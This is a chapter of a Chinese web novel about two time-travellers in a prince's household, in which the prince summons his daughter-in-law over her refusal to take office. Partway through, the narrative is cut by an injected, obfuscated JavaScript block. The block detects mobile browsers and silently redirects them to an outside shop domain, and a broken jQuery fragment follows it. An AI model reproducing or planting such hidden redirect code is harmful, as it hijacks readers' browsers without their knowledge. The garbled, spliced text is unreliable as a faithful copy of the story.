文趣网 > 都市小说 > 我在古代靠基建扭转风评 > 14. 谢继之传召
    谢月酌说着就坐在了林向榆旁边。

    林向榆是有点心慌的,谢月酌靠近他,他身上的香味也随之笼罩着她,更何况发生了刚才那件事,在他们之间的关系里,确实有点名不正言不顺。

    但是谢月酌什么也没做,他们只是身体贴得紧了一些,然后谢月酌就在乖乖看书了,没有做其他什么动作,林向榆也不好意思发作,最终还是打开了书,看了起来。

    一时间,氛围静谧,两人的隔阂似乎都融化了。

    此时,王府正院。

    谢继之刚刚从外面回来,还没来得及换衣洗漱一下,周若就来了。

    两人对视了一眼,周围伺候的人就非常有默契地退下了。

    谢继之看着妻子略显严肃的面庞,问道:“是那件事有进展了吗?”

    “小夭同意了。”

    周若淡淡地说着。

    谢继之坐在主位上,给自己倒了一壶茶:“这不是好事吗,我们担心的事终于有着落了。”

    周若坐在谢继之对面,顺手拿过了谢继之倒好的茶水,抿了一口:“好什么好,小夭不知为何不愿意入朝,说想要亲自去田庄探察情况,月酌也由着他。”

    茶水被周若喝掉了,谢继之也没有继续给自己倒一杯,他掀开了茶壶的盖子,直接猛灌了一口茶。

    “先别管月酌,她为何不愿入朝,担心不好做吗?那你先跟她说……”

    周若打断了他:“小夭猜出来了,她不愿意。”

    谢继之没抓稳茶壶,一些茶水泼到了自己的衣襟前,他丝毫没有在意,开口道:“猜出来了?”

    周若凝重的表情让谢继之知道自己的妻子真的没有在开玩笑,他接过周若给他递来的手帕,擦了擦自己身上的水,他说:“我们把她喊过来再聊一聊。”

    “小夭是个很聪明的小孩,也不知道月酌是从哪里挖出来的,我们王府居然还有这种聪明的人,而且还很有个性,认准了事不回头。”

    话里话外的意思都是谢继之这个举动多此一举。

    谢继之非常无所谓:“让本王再来劝劝,本王就不信她都答应月酌了,还能省的下心吃得了这个苦。”

    最后谢继之一锤定音:“让许放把他们叫过来。”

    许放是跟了谢继之二十来年的人,非常受谢继之的信任,他得到命令,乖乖前往世子所在的院子里了。

    林向榆和谢月酌还在看书,他们看看,偶尔还聊两句。

    等许放得到进入这个屋子的允许的时候,看见的就是这个场景。

    “世子爷,世子妃。”

    许放行礼,得到回应之后,慢慢站直身体,说明了自己来的目的。

    林向榆一只手放在书上,体态轻松:“王爷找我?”

    “是。”许放答道:“王爷请世子爷和世子妃一起去外书房商议。”

    本身能让谢继之找他们两的应该就不是什么小事,加上外书房这么个地点……

    林向榆和谢月酌咬耳朵:“估计又是因为当不当官那点事。”

    谢月酌颇为认同。

    许放被他们两的氛围感染,忍不住夸赞:“世子爷和世子妃真是琴瑟和鸣啊。”

    以前的世子爷很爱听他人夸赞自己和林向榆很般配啊,天生一对啊,每次听见这种话,都要喜笑颜开,若是你有一些小事犯错,世子爷说不定会当场原谅你,但许放是什么人,他自然不用刻意讨好他们,只是现在这两人之间的相处,让人情不自禁地夸赞。

    没成想他的一句真心话,让现场两个人的氛围直接僵住了。

    林向榆和谢月酌本来每个人都在无视之前的争吵,现在许放一句话,又在提醒他们,他们吵架了。

    谢月酌有些哀怨,林向榆也没好到哪里去,许放摸不准头脑,也不知道自己做错了什么,问道:“世子爷,世子妃?你们有什么事吩咐吗?”

    林向榆反应了过来,道:“没什么,还有其他事了吗?没有我们就出发吧。”

    说着给了谢月酌一手肘,让他安分点。

    谢月酌眨眨眼睛,理解了林向榆的意思,突然笑了。

    “那我们走吧。”

    许放见对面的氛围恢复正常,也就没说什么,只当是夫妻间的小情趣,“世子爷,世子妃,这边请。”

    两人在去外书房的路上,前面是许放,身后是他们自己的下人,都各自有着不远不近的距离,自从他们穿越过来之后,这样的距离已经成了府里下人默认的共识。

    他们一天之内在府里走了好几趟,若是现代,两人的微信运动怕是都能登顶了。

    林向榆想找谢月酌吐槽,又想到许放之前说的话,默默地把她的想法咽了下去。

    “你很累吗?”

    谢月酌问她。

    “不累,怎么了吗?”

    “那你以后有什么想说的直接和我说就行了,不用憋着。”

    心事被拆穿,林向榆有点急,反问道:“那我不想和你说怎么办?”

    “跟着你内心真正的想法来就行,我不介意这些。”

    ……

    晚上的王府很凉快,少了一些燥热,他们很快抵达了外书房。

    王府的外书房远离内院,也是一个规定上女眷不能靠近的地方,林向榆走进屋子,就和周若对了个正眼。

    不愧是谢继之的外书房,里面的摆件陈设都比程飞福嬷嬷处精致许多。

    谢继之坐在一张楠木平头书案前,周若就随意多了,那张书案上的东西被扫开,她靠在了书案上,双腿随意交叉摆着。

    林向榆的目光滑过谢继之鼻梁上的伤疤,又扫过了周若的脸,突然想他们两到底是怎么生出谢月酌这种脸蛋的孩子的,要是谢月酌是那种粗犷的长相……

    算了,没有如果。

    林向榆和谢月酌简单地行了个礼,屋内摆着香炉,烟气随着空气袅袅升起,又被下人们离开的动作带走一些。

    “好了,不必多礼,都是一家人,找个地方坐吧。”

    谢继之摆摆手,说道。

    林向榆目光所及之处,都没有找到可以坐的地方,他们也不能像周若一样直接坐那种书案上,这样太失礼了。

    谢月酌也如同林向榆

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638538|206584||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一般环顾了四周,没有找到坐的位置,他开口道:“我们坐哪,父亲?”

    “找不到坐着的地方就站着。”

    谢继之没好气道。

    原来是谢继之生气了。

    这个动作还是谢月酌做比较萌,谢继之就太诡异了。

    “那个。”谢继之用手指着林向榆,“你,世子妃,跟本王单独聊一下。”

    林向榆还没回什么,谢月酌向前走了一步,不动声色地把林向榆挡在身后:“父亲有什么事是儿子和娘亲不能知道了,还要和世子妃单独谈谈。”

    “这不是你一个只会吃喝玩乐的废物该考虑的事!”

    这句话说得就很严重了,谢继之一向溺爱谢月酌,鲜少这般不留情地说话,谢月酌自适应能力良好,不觉得这句话是在说自己,只觉得其实说的是原主,他还想继续反驳,林向榆拍了拍他的肩膀,走出他的保护,对他说道:“让我来。”

    谢月酌心中仍有不忿,但是林向榆已经开口了,就没继续说什么。

    林向榆直直地看着谢继之,他生气的时候是很吓人的,从战场上走出来的将军,身上不知道有多少人的人头,被他盯着,好像下一秒就要给他们的脑袋上一人来上一刀。

    林向榆面色不变,甚至颇有礼貌地问道:“王爷不是要和我单独聊天吗?请吧。”

    一句话无视了谢继之刻意外放的情绪,甚至还把主动权拿捏到了自己的手里,林向榆已经侧过身,微微回头,“王爷还有什么事吗?”

    谢继之没有回答,直接站了起来,往屋子里面走去。

    林向榆用安抚的眼神看了谢月酌一眼,也没有忽视周若欲言又止的眼神。

    里面的屋子应该专门设立来议事的,里面摆着几张椅子,现在是晚上,这里的蜡烛亮到恍若白昼。

    其实真正靠近谢继之的时候,他身上的压迫感是比隔着距离对视要重的。

    “坐吧,不必和本王客气。”

    谢继之一个人自顾自地坐在主位上,双腿分叉,手臂用一种极其舒适的姿势平放在椅子两侧,“还是在这里聊天舒服,外面啊,就是规矩太多。”

    他说话的时候目光没有移开,一直带着笑意看着林向榆,只是笑意中有几分真心谁也不得而知。

    林向榆坐在谢继之的左下处,后背贴着椅背,一只手放在把手处,另一只手放在腿上。

    “王爷有话不妨直说。”

    她的声音冷静。

    谢继之像聊天一般开口:“其实你应该喊我一声父亲。”

    林向榆轻轻地笑了,好像谢继之在讲什么笑话一般,接着又收敛笑意,翘起了二郎腿。

    这个动作无论是对长辈,还是对王爷,都是很不礼貌的,只是谢继之似乎一开始就想用气势压垮她,她也不能认输。

    至于会不会被发现身体里的人已经换了这件事,就宁王府现在的情况来说,已经不在林向榆的担心范围内了。

    “儿媳大概已经猜到父亲要说些什么了,对此,儿媳只有一个确切的回答,儿媳希望亲自去田庄,而不是入朝,望父亲成全。”